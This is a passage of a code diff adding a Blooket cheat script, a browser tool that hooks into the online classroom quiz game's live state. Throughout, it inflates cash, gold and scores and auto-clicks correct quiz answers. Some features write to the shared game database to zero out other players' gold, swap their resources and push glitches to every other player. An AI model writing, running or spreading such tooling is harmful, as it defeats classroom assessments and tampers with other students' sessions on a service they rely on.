2, 1, 1], price: [45e5, 45e6, 55e7, 65e8] }, { name: "Queen", color: "#9e1f63", class: "⚔️", rarity: "Rare", cash: [24e3, 95e3, 95e4, 97e5, 95e6], time: [3, 3, 3, 3, 3], price: [19e5, 2e7, 23e7, 25e8] }, { name: "King", color: "#ee2640", class: "⚔️", rarity: "Legendary", cash: [75e3, 4e5, 6e6, 9e7, 125e7], time: [5, 5, 5, 5, 5], price: [6e6, 95e6, 16e8, 25e9] }, { name: "Two of Spades", color: "#414042", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [4500, 14e3, 14e4, 14e5, 9e6], time: [1, 1, 1, 1, 1], price: [77e4, 83e5, 98e6, 71e7] }, { name: "Eat Me", color: "#d58c55", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [13e3, 45e3, 45e4, 45e5, 5e7], time: [2, 2, 2, 2, 2], price: [13e5, 14e6, 16e7, 2e9] }, { name: "Drink Me", color: "#dd7399", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [12e3, 4e4, 4e5, 4e6, 45e6], time: [2, 2, 2, 2, 2], price: [12e5, 12e6, 14e7, 18e8] }, { name: "Alice", color: "#4cc9f5", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [13e3, 42e3, 21e4, 21e5, 23e6], time: [2, 2, 1, 1, 1], price: [12e5, 13e6, 15e7, 19e8] }, { name: "Queen of Hearts", color: "#d62027", class: "\uD83C\uDFF0", rarity: "Uncommon", cash: [23e3, 87e3, 62e4, 75e5, 9e7], time: [4, 4, 3, 3, 3], price: [13e5, 13e6, 18e7, 24e8] }, { name: "Dormouse", color: "#89d6f8", class: "\uD83C\uDFF0", rarity: "Rare", cash: [17e3, 68e3, 7e5, 35e5, 35e6], time: [2, 2, 1, 1, 1], price: [2e6, 22e6, 25e7, 28e8] }, { name: "White Rabbit", color: "#ffcd05", class: "\uD83C\uDFF0", rarity: "Rare", cash: [26e3, 105e3, 11e6, 77e5, 72e6], time: [3, 3, 3, 2, 2], price: [2e6, 23e6, 28e7, 29e8] }, { name: "Cheshire Cat", color: "#dd7399", class: "\uD83C\uDFF0", rarity: "Rare", cash: [32e3, 1e5, 9e5, 9e6, 6e7], time: [4, 3, 3, 3, 2], price: [18e5, 19e6, 22e7, 24e8] }, { name: "Caterpillar", color: "#00c0f3", class: "\uD83C\uDFF0", rarity: "Epic", cash: [1e4, 7e4, 65e4, 75e5, 85e6], time: [1, 1, 1, 1, 1], price: [42e5, 42e6, 54e7, 69e8] }, { name: "Mad Hatter", color: "#914f93", class: "\uD83C\uDFF0", rarity: "Epic", cash: [38e3, 25e4, 15e5, 14e6, 8e7], time: [3, 3, 2, 2, 1], price: [48e5, 48e6, 52e7, 66e8] }, { name: "King of Hearts", color: "#c62127", class: "\uD83C\uDFF0", rarity: "Legendary", cash: [8e4, 42e4, 68e5, 1e8, 15e8], time: [5, 5, 5, 5, 5], price: [7e6, 11e7, 18e8, 3e10] }, { name: "Earth", color: "#416eb5", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [15e3, 45e3, 6e5, 65e5, 65e6], time: [3, 3, 3, 3, 3], price: [1e6, 11e6, 15e7, 17e8] }, { name: "Meteor", color: "#c68c3c", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [23e3, 65e3, 7e5, 45e5, 2e7], time: [5, 4, 3, 2, 1], price: [95e4, 13e6, 16e7, 16e8] }, { name: "Stars", color: "#19184d", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [1e4, 4e4, 2e5, 2e6, 18e6], time: [2, 2, 1, 1, 1], price: [14e5, 14e6, 15e7, 15e8] }, { name: "Alien", color: "#8dc63f", class: "\uD83D\uDE80", rarity: "Uncommon", cash: [3e4, 1e5, 1e6, 11e6, 85e6], time: [4, 4, 4, 4, 4], price: [15e5, 17e6, 19e7, 17e8] }, { name: "Planet", color: "#9dc6ea", class: "\uD83D\uDE80", rarity: "Rare", cash: [25e3, 1e5, 9e5, 9e6, 9e7], time: [3, 3, 3, 3, 3], price: [2e6, 21e6, 21e7, 24e8] }, { name: "UFO", color: "#a15095", class: "\uD83D\uDE80", rarity: "Rare", cash: [17e3, 7e4, 7e5, 7e6, 7e7], time: [2, 2, 2, 2, 2], price: [21e5, 23e6, 25e7, 28e8] }, { name: "Spaceship", color: "#ffcb29", class: "\uD83D\uDE80", rarity: "Epic", cash: [6e4, 32e4, 21e5, 15e6, 85e6], time: [5, 4, 3, 2, 1], price: [48e5, 46e6, 54e7, 68e8] }, { name: "Astronaut", color: "#9bd4ee", class: "\uD83D\uDE80", rarity: "Legendary", cash: [45e3, 26e4, 25e5, 38e6, 55e7], time: [3, 3, 2, 2, 2], price: [65e5, 1e8, 17e8, 27e9] }, { name: "Lil Bot", color: "#3e564a", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [4e3, 12e3, 18e4, 19e5, 25e6], time: [1, 1, 1, 1, 1], price: [73e4, 12e6, 13e7, 19e8] }, { name: "Lovely Bot", color: "#f179af", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [16e3, 65e3, 65e4, 48e5, 42e6], time: [3, 3, 3, 2, 2], price: [13e5, 14e6, 17e7, 16e8] }, { name: "Angry Bot", color: "#f1613a", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [22e3, 85e3, 8e5, 62e5, 65e6], time: [4, 4, 4, 3, 3], price: [12e5, 13e6, 15e7, 17e8] }, { name: "Happy Bot", color: "#51ba6b", class: "\uD83E\uDD16", rarity: "Uncommon", cash: [11e3, 45e3, 5e5, 25e5, 3e7], time: [2, 2, 2, 1, 1], price: [14e5, 15e6, 18e7, 24e8] }, { name: "Watson", color: "#d69b5a", class: "\uD83E\uDD16", rarity: "Rare", cash: [24e3, 1e5, 1e6, 1e7, 1e8], time: [3, 3, 3, 3, 3], price: [2e6, 22e6, 24e7, 26e8] }, { name: "Buddy Bot", color: "#9dc6ea", class: "\uD83E\uDD16", rarity: "Rare", cash: [22e3, 95e3, 65e4, 65e5, 65e6], time: [3, 3, 2, 2, 2], price: [19e5, 21e6, 23e7, 25e8] }, { name: "Brainy Bot", color: "#9ecf7a", class: "\uD83E\uDD16", rarity: "Epic", cash: [5e4, 25e4, 21e5, 21e6, 17e7], time: [4, 3, 3, 3, 2], price: [5e6, 46e6, 5e8, 67e8] }, { name: "Mega Bot", color: "#d71f27", class: "\uD83E\uDD16", rarity: "Legendary", cash: [8e4, 43e4, 42e5, 62e6, 1e9], time: [5, 5, 3, 3, 3], price: [7e6, 12e7, 19e8, 35e9] }]; + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + const blook = blooks.find(function ({ name }) { return name.toLowerCase() == this }, prompt("Enter blook name:").toLowerCase()); + if (blook) { + if (stateNode.state.blooks.length >= 10) alert("Choose a blook to replace"); + stateNode.chooseBlook(blook); + } + else alert("That is not a valid blook!"); + } + }, + { + name: "Free Upgrades", + description: "Sets upgrade prices to 0 for all current blooks", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState(state => ({ ...state, blooks: state.blooks.map(blook => ({ ...blook, price: [0, 0, 0, 0] })) })); + } + }, + { + name: "Max Blooks", + description: "Maxes out all your blooks' levels", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.blooks.forEach(blook => blook.level = 4); + } + }, + { + name: "Remove Glitches", + description: "Removes all enemy glitches", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ + bits: 0, + ads: [], + hazards: [], + color: "", + lol: false, + joke: false, + slow: false, + dance: false, + glitch: "", + glitcherName: "", + glitcherBlook: "" + }); + clearTimeout(stateNode.adTimeout); + clearInterval(stateNode.hazardInterval); + clearTimeout(stateNode.nightTimeout); + clearTimeout(stateNode.glitchTimeout); + clearTimeout(stateNode.lolTimeout); + clearTimeout(stateNode.jokeTimeout); + clearTimeout(stateNode.slowTimeout); + clearTimeout(stateNode.danceTimeout); + clearTimeout(stateNode.nameTimeout); + } + }, + { + name: "Send Glitch", + description: "Sends a glitch to everyone else playing", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let glitches = { lb: "Lunch Break", as: "Ad Spam", e37: "Error 37", nt: "Night Time", lo: "#LOL", j: "Jokester", sm: "Slow Mo", dp: "Dance Party", v: "Vortex", r: "Reverse", f: "Flip", m: "Micro" }; + let val = Object.keys(glitches)[Math.floor(Math.random() * Object.keys(glitches).length)]; + stateNode.safe = true; + stateNode.props.liveGameController.setVal({ path: `c/${stateNode.props.client.name}/tat`, val }); + alert(`Sent a ${glitches[val]} glitch`); + } + }, + { + name: "Set All MegaBot", + description: "Sets all your blooks to maxed out Mega Bots", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ + blooks: new Array(10).fill({ + name: "Mega Bot", + color: "#d71f27", + class: "🤖", + rarity: "Legendary", + cash: [8e4, 43e4, 42e5, 62e6, 1e9], + time: [5, 5, 3, 3, 3], + price: [7e6, 12e7, 19e8, 35e9], + active: false, + level: 4, + bonus: 5.5 + }) + }); + } + }, + { + name: "Set Cash", + description: "Sets amount of cash you have", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let cash = Number(parseInt(prompt("How much cash would you like?"))); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ cash }); + } + } + ], + fishing: [ + { + name: "Frenzy", + description: "Sets everyone to frenzy mode", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + w: stateNode.state.weight, + f: "Frenzy", + s: true + } + }) + } + }, + { + name: "Remove Distractions", + description: "Removes distractions", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ party: "" }); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Send Distraction", + description: "Sends a distraction to everyone", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + const f = ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"][Math.floor(Math.random() * 9)]; + stateNode.safe = true; + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + w: stateNode.state.weight, f, s: true + } + }); + alert(`Sent a ${f} distraction`); + } + }, + { + name: "Set Lure", + description: "Sets fishing lure (range 1 - 5)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ lure: Math.max(Math.min(Number(parseInt(prompt("What would you like to set your lure to? (1 - 5)"))) - 1, 4), 0) }); + } + }, + { + name: "Set Weight", + description: "Sets weight", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let weight = Number(parseInt(prompt("How much weight would you like?"))); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ weight, weight2: weight }); + stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}`, + val: { + b: stateNode.props.client.blook, + w: weight, + f: ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"][Math.floor(Math.random() * 9)] + } + }); + } + } + ], + flappy: [ + { + name: "Toggle Ghost", + description: "Lets you go through the pipes", + type: "toggle", + enabled: false, + run: function () { + this.enabled = !this.enabled; + Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x.gameObject.frame.texture.key.startsWith("blook") && (x.checkCollision.none = this.enabled, x.gameObject.setAlpha(this.enabled ? 0.5 : 1))); + } + }, + { + name: "Set Score", + description: "Sets flappy blook score", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.setState({ score: parseFloat("0" + prompt("What do you want to set your score to?")) }); + } + } + ], + gold: [ + { + name: "Always Triple", + description: "Always get triple gold", + type: "toggle", + enabled: false, + data: null, + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode._choosePrize ||= stateNode.choosePrize; + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + stateNode.choosePrize = function (i) { + stateNode.state.choices[i] = { type: "multiply", val: 3, text: "Triple Gold!", blook: "Unicorn" }; + stateNode._choosePrize(i); + } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + stateNode.choosePrize = stateNode._choosePrize || stateNode.choosePrize; + } + } + }, + { + name: "Auto Choose", + description: "Automatically picks the option that would give you the most gold", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(async () => { + try { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + if (stateNode.state.stage === "prize") { + const players = Object.entries(await new Promise(r => stateNode.props.liveGameController.getDatabaseVal("c", c => c && r(c))) || []).filter(x => x[0] != stateNode.props.client.name).sort((a, b) => b[1].g - a[1].g)[0]?.[1]?.g || 0; + let max = 0; index = -1; + for (let i = 0; i < stateNode.state.choices.length; i++) { + const { type, val } = stateNode.state.choices[i]; + let value = stateNode.state.gold; + switch (type) { + case "gold": value = stateNode.state.gold + val || stateNode.state.gold; break; + case "multiply": + case "divide": value = Math.round(stateNode.state.gold * val) || stateNode.state.gold; break; + case "swap": value = players || stateNode.state.gold; + case "take": value = stateNode.state.gold + players * val || stateNode.state.gold; + } + if ((value || 0) <= max) continue; + max = value, index = i + 1; + } + document.querySelector(`div[class^='styles__choice${index}']`).click(); + } + } catch { } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Chest ESP", + description: "Shows what each chest will give you", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.choices.forEach(({ text }, index) => { + let chest = document.querySelector(`div[class^='styles__choice${index + 1}']`); + if (!chest || chest.querySelector('div')) return; + let choice = document.createElement('div'); + choice.style.color = "white"; + choice.style.fontFamily = "Eczar"; + choice.style.fontSize = "2em"; + choice.style.display = "flex"; + choice.style.justifyContent = "center"; + choice.style.transform = "translateY(200px)"; + choice.innerText = text; + chest.append(choice); + }); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Reset Players Gold", + description: "Sets a player's gold to 0", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let player = prompt("Who's gold would you like to reset?"); + let { stateNode: { props, state } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.getDatabaseVal("c", (players) => { + if (players && Object.keys(players).map(x => x.toLowerCase()).includes(player.toLowerCase())) props.liveGameController.setVal({ + path: "c/".concat(props.client.name), + val: { + b: props.client.blook, + g: state.gold, + tat: `${player}:swap:0` + } + }); + }) + } + }, + { + name: "Set Gold", + description: "Sets amount of gold", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let gold = Number(parseInt(prompt("How much gold would you like?"))); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ gold, gold2: gold }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + g: gold + } + }); + } + }, + { + name: "Swap Gold", + description: "Swaps gold with someone", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.getDatabaseVal("c", (players) => { + stateNode.setState({ + players: (players ? Object.entries(players).map(([name, { b, g }]) => ({ + name, blook: b, gold: g || 0 + })).filter((e) => e.name != stateNode.props.client.name).sort(({ gold }, { gold: gold2 }) => gold2 - gold) : []), + ready: true, + phaseTwo: true, + stage: "prize", + choiceObj: { type: "swap" } + }); + }); + } + }, + { + name: "Reset All Players' Gold", + description: "Set's everyone else's gold to 0", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + let { stateNode: { props, state } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let count = 0; + props.liveGameController.getDatabaseVal("c", async (players) => { + if (players) for (const player of Object.keys(players)) { + props.liveGameController.setVal({ + path: "c/".concat(props.client.name), + val: { + b: props.client.blook, + g: state.gold, + tat: `${player}:swap:0` + } + }); + count++; + await new Promise(r => setTimeout(r, 4000)); + } + alert(`Reset ${count} players' gold!`); + }) + } + } + ], + kingdom: [ + { + name: "Choice ESP", + description: "Shows you what will happen if you say Yes or No", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + let stats = ['materials', 'people', 'happiness', 'gold']; + let elements = Object.fromEntries([...document.querySelectorAll('[class^=styles__statContainer]')].map((container, i) => [stats[i], container])); + this.data = setInterval(() => { + let { guest: data, phase } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state; + if (phase == "choice") { + Array.from(document.getElementsByClassName('choiceESP')).forEach(x => x.remove()); + Object.entries(data.yes || {}).forEach(x => { + if (x[0] == 'msg' || !stats.includes(x[0])) return; + let element = document.createElement('div'); + element.className = 'choiceESP'; + element.style = 'font-size: 24px; color: rgb(75, 194, 46); font-weight: bolder;'; + element.innerText = String(x[1]) + elements[x[0]].appendChild(element); + }) + Object.entries(data.no || {}).forEach(x => { + if (x[0] == 'msg' || !stats.includes(x[0])) return; + let element = document.createElement('div'); + element.className = 'choiceESP'; + element.style = 'font-size: 24px; color: darkred; font-weight: bolder;'; + element.innerText = String(x[1]) + elements[x[0]].appendChild(element); + }) + } + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + Array.from(document.getElementsByClassName('choiceESP')).forEach(x => x.remove()); + this.data = null; + } + } + }, + { + name: "Disable Tax Toucan", + description: "Tax evasion", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.taxCounter = Number.MAX_VALUE; + } + }, + { + name: "Max Stats", + description: "Sets all resources to the max", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ materials: 100, people: 100, happiness: 100, gold: 100 }); + } + }, + { + name: "Set Guests", + description: "Sets the amount of guests you've seen", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let guestScore = Number(parseInt(prompt("How many guests do you want?"))); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ guestScore }); + } + }, + { + name: "Skip Guest", + description: "Skips the current guest", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.nextGuest(); + } + } + ], + racing: [{ + name: "Instant Win", + description: "Instantly Wins the race", + run: function () { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ progress: stateNode.state.goalAmount }, () => { + const { state: { question } } = stateNode; + try { + [...document.querySelectorAll(`[class*="answerContainer"]`)][question.answers.map((x, i) => question.correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.(); + } catch { } + }); + } + }], + royale: [ + { + name: "Auto Answer (Toggle)", + description: "Toggles auto answer on", + type: "toggle", + enabled: false, + data: null, + run: function () { + if (!this.enabled) { + this.enabled = true; + this.data = setInterval(() => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode?.onAnswer?.(true, stateNode.props.client.question.correctAnswers[0]); + }, 50); + } else { + this.enabled = false; + clearInterval(this.data); + this.data = null; + } + } + }, + { + name: "Auto Answer", + description: "Chooses the correct answer for you", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode?.onAnswer?.(true, stateNode.props.client.question.correctAnswers[0]); + } + }, + ], + rush: [ + { + name: "Set Blooks", + description: "Sets amount of blooks you or your team has", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let numBlooks = Number(parseInt(prompt("How many blooks do you want?"))); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ numBlooks }); + stateNode.isTeam ? stateNode.props.liveGameController.setVal({ + path: `a/${stateNode.props.client.name}/bs`, + val: numBlooks + }) : stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}/bs`, + val: numDefense + }); + } + }, + { + name: "Set Defense", + description: "Sets amount of defense you or your team has (Max 4)", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let numDefense = Math.min(Number(parseInt(prompt("How much defense do you want? (Max 4)"))), 4); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ numDefense }); + stateNode.isTeam ? stateNode.props.liveGameController.setVal({ + path: `a/${stateNode.props.client.name}/d`, + val: numDefense + }) : stateNode.props.liveGameController.setVal({ + path: `c/${stateNode.props.client.name}/d`, + val: numDefense + }); + } + } + ], + workshop: [ + { + name: "Remove Distractions", + description: "Removes all enemy distractions", + run: function () { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ fog: !1, dusk: !1, wind: !1, plow: !1, blizzard: !1, force: !1, canada: !1, trees: [!1, !1, !1, !1, !1, !1, !1, !1, !1, !1] }); + } + }, + { + name: "Send Distraction", + description: "Sends a distraction to everyone else playing", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let distractions = { c: "Oh Canada", b: "Blizzard", f: "Fog Spell", d: "Dark & Dusk", w: "Howling Wind", g: "Gift Time!", t: "TREES", s: "Snow Plow", fr: "Use The Force" }; + let val = Object.keys(distractions)[Math.floor(Math.random() * Object.keys(distractions).length)]; + stateNode.safe = true; + stateNode.props.liveGameController.setVal({ path: `c/${stateNode.props.client.name}/tat`, val }); + alert(`Sent a ${distractions[val]} distraction`); + } + }, + { + name: "Set Toys", + description: "Sets amount of toys", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let toys = parseInt(prompt("How many toys would you like?")); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.setState({ toys }); + stateNode.props.liveGameController.setVal({ + path: "c/".concat(stateNode.props.client.name), + val: { + b: stateNode.props.client.blook, + t: toys + } + }); + } + }, + { + name: "Set Toys Per Question", + description: "Sets amount of toys per question", + run: function () { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ toysPerQ: parseInt(prompt("How many toys per question would you like?")) }); + } + }, + { + name: "Swap Toys", + description: "Swaps toys with someone", + run: function () { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.props.liveGameController.getDatabaseVal("c", (players) => { + stateNode.setState({ + choosingPlayer: false, + players: (players ? Object.entries(players).map(([name, { b, t }]) => ({ name, blook: b, toys: t || 0 })).filter((e) => e.name != stateNode.props.client.name).sort(({ toys }, { toys: toys2 }) => toys2 - toys) : []), + phaseTwo: true, + stage: "prize", + choiceObj: { type: "swap" } + }, () => setTimeout(() => stateNode.setState({ choosingPlayer: true }), 300)); + }); + } + } + ] + })// .map(x => [x[0], x[1].reduce((a, b) => (a[b.name] = b.run, a), {})]).reduce((a, [b, c]) => (a[b] = c, a), {}); + + let global = document.createElement('details'); + global.innerHTML = (`Global`); + for (let script of cheats.global) { + let cheat = createButton(script.name); + cheat.style.backgroundColor = script.type == "toggle" ? script.enabled ? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)"; + cheat.onclick = () => { + try { + script.run(); + } finally { + cheat.style.backgroundColor = script.type == "toggle" ? script.enabled ? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)"; + } + }; + global.appendChild(cheat); + } + global.open = false; + global.style.paddingBottom = '10px'; + body.appendChild(global); + + let cheatDiv = document.createElement('div'); + body.appendChild(cheatDiv); + + console.log(cheats); + const setCheats = (curPage) => { + if (!curPage || !cheats[curPage]) return; + for (let cheat of cheats[curPage]) { + let button = createButton(cheat.name); + button.style.backgroundColor = cheat.type == "toggle" ? cheat.enabled ? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)"; + button.onclick = () => { + try { + cheat.run(); + } finally { + button.style.backgroundColor = cheat.type == "toggle" ? cheat.enabled ? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)"; + } + }; + cheatDiv.appendChild(button); + cheatDiv.appendChild(document.createElement('br')); + } + } + setTimeout(() => setCheats(getSite()), 50); + var offLocationChange = onLocationChange(pathname => { + let curPage = getSite(); + curPageEl.innerText = getSite(true) ? `Current gamemode: ${getSite(true)}` : 'No game detected'; + cheatDiv.innerHTML = ""; + setCheats(curPage); + }); + + function onLocationChange(handler) { + let current = window.location.pathname; + const interval = setInterval(() => { + if (window.location.pathname == current) return; + current = window.location.pathname; + handler(current); + }, 50); + return () => clearInterval(interval); + } + + function createButton(cheat) { + let button = document.createElement('button'); + button.classList.add('cheat'); + button.innerText = cheat; + return button + } + function getSite(capitalize) { + switch (window.location.pathname) { + case "/play/racing": + return capitalize ? "Racing" : "racing"; + case "/play/factory": + return capitalize ? "Factory" : "factory"; + case "/play/classic/get-ready": + case "/play/classic/question": + case "/play/classic/answer/sent": + case "/play/classic/answer/result": + case "/play/classic/standings": + return capitalize ? "Classic" : "classic"; + case "/play/battle-royale/match/preview": + case "/play/battle-royale/question": + case "/play/battle-royale/answer/sent": + case "/play/battle-royale/answer/result": + case "/play/battle-royale/match/result": + return capitalize ? "Battle Royale" : "royale"; + case "/play/toy": + return capitalize ? "Santa's Workshop" : "workshop"; + case "/play/gold": + return capitalize ? "Gold Quest" : "gold"; + case "/play/brawl": + return capitalize ? "Monster Brawl" : "brawl"; + case "/play/hack": + return capitalize ? "Crypto Hack" : "hack"; + case "/play/fishing": + return capitalize ? "Fishing Frenzy" : "fishing"; + case "/play/rush": + return capitalize ? "Blook Rush" : "rush"; + case "/play/dino": + return capitalize ? "Deceptive Dinos" : "dino"; + case "/tower/map": + case "/tower/battle": + case "/tower/rest": + case "/tower/risk": + case "/tower/shop": + case "/tower/victory": + return capitalize ? "Tower of Doom" : "doom"; + case "/cafe": + case "/cafe/shop": + return capitalize ? "Cafe" : "cafe"; + case "/defense": + return capitalize ? "Tower Defense" : "defense"; + case "/play/defense2": + return capitalize ? "Tower Defense 2" : "defense2"; + case "/kingdom": + return capitalize ? "Crazy Kingdom" : "kingdom"; + default: + return false; + } + }; + function toggleHidden(e) { + e.code == 'KeyE' && (GUI.hidden = !GUI.hidden) + }; + addEventListener('keypress', toggleHidden); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/mobileGui.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272431 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/mobileGui.min.js b/cheats/mobileGui.min.js new file mode 100644 index 0000000..d60e5db --- /dev/null +++ b/cheats/mobileGui.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tmobileGui.js","color: 